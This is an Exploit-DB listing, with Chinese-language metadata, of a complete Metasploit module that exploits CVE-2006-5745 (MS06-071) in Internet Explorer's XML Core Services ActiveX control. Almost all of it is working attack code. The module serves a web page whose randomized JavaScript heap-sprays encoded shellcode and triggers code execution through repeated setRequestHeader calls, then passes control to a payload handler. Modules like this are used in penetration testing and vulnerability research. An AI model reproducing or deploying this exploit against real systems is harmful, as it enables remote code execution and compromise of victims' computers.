标题: Microsoft Internet Explorer - XML Core Services HTTP Request Handling (MS06-071) (Metasploit) EDB-ID: 16532 CVE: 2006-5745 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-03 漏洞利用脚本: ##
# $Id: ms06_071_xml_core.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Internet Explorer XML Core Services HTTP Request Handling',
   'Description'    => %q{
     This module exploits a code execution vulnerability in Microsoft XML Core Services which
    exists in the XMLHTTP ActiveX control. This module is the modifed version of
    http://www.milw0rm.com/exploits/2743 - credit to str0ke. This module has been successfully
    tested on Windows 2000 SP4, Windows XP SP2, Windows 2003 Server SP0 with IE6
    + Microsoft XML Core Services 4.0 SP2.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Trirat Puttaraksa <trir00t [at] gmail.com>',
    ],
   'Version'        => '$Revision: 9669 $',
   'References'     =>
    [
     ['CVE',   '2006-5745' ],
     ['OSVDB', '29425' ],
     ['MSB',   'MS06-071' ],
     ['BID',   '20915' ],
    ],
   'Payload'        =>
    {
     'Space'          => 1024,
     'BadChars'       => "\x00",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Windows 2000 SP4 -> Windows 2003 SP0', {'Ret' => 0x0c0c0c0c} ]
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Oct 10 2006'))
 end

 def on_request_uri(cli, request)

  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Encode the shellcode
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  # Get a unicode friendly version of the return address
  addr_word  = [target.ret].pack('V').unpack('H*')[0][0,4]

  # Randomize the javascript variable names
  var_buffer    = rand_text_alpha(rand(30)+2)
  var_shellcode = rand_text_alpha(rand(30)+2)
  var_unescape  = rand_text_alpha(rand(30)+2)
  var_x         = rand_text_alpha(rand(30)+2)
  var_i         = rand_text_alpha(rand(30)+2)

  var_size      = rand_text_alpha(rand(30)+2)
  var_nopsize   = rand_text_alpha(rand(30)+2)
  var_limit     = rand_text_alpha(rand(30)+2)

  var_obj       = rand_text_alpha(rand(30)+2)
  var_id       = rand_text_alpha(rand(30)+2)


  # Build out the message
  content = %Q|
<html xmlns="http://www.w3.org/1999/xhtml">
<body>
<object id=#{var_id} classid="CLSID:{88d969c5-f192-11d4-a65f-0040963251e5}">
</object>
<script>

 var #{var_unescape}  = unescape ;
 var #{var_shellcode} = #{var_unescape}( "#{shellcode}" ) ;

 var #{var_size} = #{var_shellcode}.length * 2;
 var #{var_nopsize} = 0x400000 - (#{var_size} + 0x38);
 var #{var_buffer} = #{var_unescape}( "%u#{addr_word}" ) ;

 while (#{var_buffer}.length * 2 < #{var_nopsize}) #{var_buffer}+=#{var_buffer} ;

 #{var_limit} = (0x12000000 - 0x400000) / 0x400000;
 var #{var_x} = new Array() ;
 for ( var #{var_i} =0 ; #{var_i} < #{var_limit} ; #{var_i}++ ) {
  #{var_x}[ #{var_i} ] =
   #{var_buffer} + #{var_shellcode};
 }

 var #{var_obj} = null;
 #{var_obj} = document.getElementById('#{var_id}').object;

 try {
  #{var_obj}.open(new Array(), new Array(), new Array(), new Array(), new Array());
 } catch(e) {};

 #{var_obj}.open(new Object(), new Object(), new Object(), new Object(), new Object());

 #{var_obj}.setRequestHeader( new Object(), '......' );
 #{var_obj}.setRequestHeader( new Object(), 0x12345678 );
 #{var_obj}.setRequestHeader( new Object(), 0x12345678 );
 #{var_obj}.setRequestHeader( new Object(), 0x12345678 );
 #{var_obj}.setRequestHeader( new Object(), 0x12345678 );
 #{var_obj}.setRequestHeader( new Object(), 0x12345678 );
 #{var_obj}.setRequestHeader( new Object(), 0x12345678 );
 #{var_obj}.setRequestHeader( new Object(), 0x12345678 );
 #{var_obj}.setRequestHeader( new Object(), 0x12345678 );
 #{var_obj}.setRequestHeader( new Object(), 0x12345678 );
 #{var_obj}.setRequestHeader( new Object(), 0x12345678 );
 #{var_obj}.setRequestHeader( new Object(), 0x12345678 );

</script>
</body>
</html>
  |

  content = Rex::Text.randomize_space(content)

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16532